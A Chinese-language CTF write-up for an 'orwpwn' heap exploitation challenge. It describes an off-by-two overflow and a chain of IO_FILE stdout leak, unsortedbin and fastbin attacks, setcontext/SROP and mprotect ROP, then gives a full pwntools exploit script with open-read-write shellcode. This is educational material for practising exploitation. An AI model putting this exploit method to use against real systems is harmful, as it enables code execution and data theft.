orwpwn
https://xz.aliyun.com/t/6731#toc-8
http://blog.eonew.cn/archives/993 setcontext 函数exploit
https://xz.aliyun.com/t/6645 shellcode的编写
这个一个保护全开的堆的题目:
[*] '/home/root0/pratice/2020_heap_practice/unctf/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
同时又这里我们可以知道,这个程序禁止了一部分的系统调用,我们可以用seccomp-tools这个工具来查看一下:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x07 0x00 0x40000000 if (A >= 0x40000000) goto 0011
0004: 0x15 0x06 0x00 0x0000003b if (A == execve) goto 0011
0005: 0x15 0x00 0x04 0x00000001 if (A != write) goto 0010
0006: 0x20 0x00 0x00 0x00000024 A = count >> 32 # write(fd, buf, count)
0007: 0x15 0x00 0x02 0x00000000 if (A != 0x0) goto 0010
0008: 0x20 0x00 0x00 0x00000020 A = count # write(fd, buf, count)
0009: 0x15 0x01 0x00 0x00000010 if (A == 0x10) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
同时,又这个题目的add函数可以看出这个题目的数据结构相当简单,两个bss段的数组分别存放mem指针和用户输入的size大小,然后后面的edit , delete之类的功能都依赖于这两个数据结构。
漏洞点
add函数中的read_input函数:
read_input:
unsigned __int64 __fastcall read_input(__int64 a1, __int64 size)
{
int i; // [rsp+1Ch] [rbp-34h]
__int64 buf; // [rsp+20h] [rbp-30h]
__int64 v5; // [rsp+28h] [rbp-28h]
__int64 v6; // [rsp+30h] [rbp-20h]
__int64 v7; // [rsp+38h] [rbp-18h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]
v8 = __readfsqword(0x28u);
buf = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
for ( i = 0; i < (unsigned __int64)(size + 1); ++i )
{
if ( read(0, &buf, 1uLL) <= 0 )
exit(0);
if ( (_BYTE)buf == 10 )
break;
*(_BYTE *)(a1 + i) = buf;
}
*(_BYTE *)(i + a1) = 0;
return __readfsqword(0x28u) ^ v8;
}
可以看出这里可以溢出两个字节的数据,同时这个程序没有可以输出堆块的程序分支。
利用过程:
劫持stdout来获得libc的基地址
- IO_file攻击:我们现在堆块中分配出main_arena,然后通过覆盖两个字节使得其有1/16的可能性使得main_arena被改成stdout,然后我们更改stdout这个IO_file_plus结构体,如此我们可以输出_IO_write_ptr和_IO_write_base之间的数据,实现泄露。
unsortedbin攻击,我们利用此可以把free_hook的附近写入main_arena,然后可以错位构造chunk,使得我们在free_hook之间有了可用的chunk_size。
fastbin attack来实现__free_hook的写入。
我们把
setcontext+53
写入__free_hook来扩大控制范围。利用SROP调用read函数,把rop chain和shellcode写入到目标区域。
rop chain来实现mprotect修改内存页权限。
调用shellcode
# coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./pwn"
libcversion = '2.23'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary, checksec=False)
if local:
r = process(exec_binary)
if context.arch == "i386":
libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,
libcversion), checksec=False)
elif context.arch == "amd64":
libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,
libcversion), checksec=False)
else:
r = remote("")
def get_libc(addr, addr_name):
global libc, libcbase
libc = LibcSearcher(str(addr_name), addr)
libcbase = addr - libc.dump(addr_name)
def get_base(r):
text_base = r.libs()[r._cwd + r.argv[0].strip('.')]
for key in r.libs():
if "libc.so.6" in key:
return text_base, r.libs()[key]
def debug(addr):
text_base, libc_base = get_base(r)
break_point = "set $text_base=" + \
str(text_base) + '\n' + "set $libc_base=" + str(libc_base) + '\n'
break_point += "b *" + str(addr) + "\nc"
gdb.attach(r, break_point)
def confirm(address):
n = globals()
for key, value in n.items():
if value == address:
return success(key + " ==> " + hex(address))
def malloc(size, content,flag=1):
r.recvuntil("Choice: ")
r.sendline("1")
r.recvuntil("size: ")
r.sendline(str(size))
r.recvuntil("content: ")
r.send(content + "\n")
def edit(idx, content):
r.recvuntil("Choice: ")
r.sendline("3")
r.recvuntil("idx: ")
r.sendline(str(idx))
r.recvuntil("content: ")
r.send(content)
def free(idx):
r.recvuntil("Choice: ")
r.sendline("2")
r.recvuntil("idx: ")
r.sendline(str(idx))
libc = ELF("./libc.so.6")
ptr_array = 0x000000000202060
size_array = 0x0000000002020A0
malloc(0x68, "aa") # 0
malloc(0x78, "aa") # 1
malloc(0x68, (p64(0) + p64(0x21)) * 6) # 2
malloc(0x68, (p64(0) + p64(0x21)) * 6) # 3
free(0)
malloc(0x68, "a" * 0x60 + p64(0) + p8(0xf1)) # 0
free(1)
free(2)
malloc(0x78, "") # 1
free(0)
malloc(0x68, "a" * 0x60 + p64(0) + p8(0xa1)) # 0
free(1)
malloc(0x98, "") # 1
edit(1, 'b' * 0x70 + p64(0) + p64(0x71) + p16(0x2620-0x43))
malloc(0x68, "") # 2
malloc(0x68,"\x00"*0x33 + p64(0xfbad1800) + p64(0)*3) #4
r.recv(0x88)
libcbase = u64(r.recv(8)) - libc.symbols["_IO_2_1_stdin_"]
confirm(libcbase)
edit(1, 'b'*0x70 + p64(0) + p64(0x91))
free(2)
edit(1, 'b'*0x70 + p64(0) + p64(0x91) + p64(0) + p64(libcbase + libc.symbols['__free_hook']-0x20))
malloc(0x88, '') #2
edit(1, 'b'*0x70 + p64(0) + p64(0x71))
free(2)
edit(1, 'b'*0x70 + p64(0) + p64(0x71) + p64(libcbase+ libc.symbols['__free_hook']-0x13))
frame_read = SigreturnFrame()
frame_read.rdi = 0
frame_read.rsi = (libcbase + libc.symbols["__free_hook"]) & 0xfffffffffffff000
frame_read.rdx = 0x2000
frame_read.rsp = (libcbase + libc.symbols["__free_hook"]) & 0xfffffffffffff000
frame_read.rip = libcbase + 0xbc375
payload = str(frame_read)
malloc(0x68,payload[0x80:0x80+0x60])
malloc(0x68,"\x00"*3 + p64(libcbase + libc.symbols["setcontext"]+53))
gdb.attach(r)
edit(1,payload[0:0x98])
free(1)
layout = [
libc.address + 0x0000000000021102, #: pop rdi; ret;
libc.symbols['__free_hook'] & 0xfffffffffffff000,
libc.address + 0x00000000000202e8, #: pop rsi; ret;
0x2000,
libc.address + 0x0000000000001b92, #: pop rdx; ret;
7,
libc.address + 0x0000000000033544, #: pop rax; ret;
10,
libc.address + 0x00000000000bc375, #: syscall; ret;
libc.address + 0x0000000000002a71, #: jmp rsp;
]
shellcode = asm('''
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
''')
r.send(flat(layout)+shellcode)
r.interactive()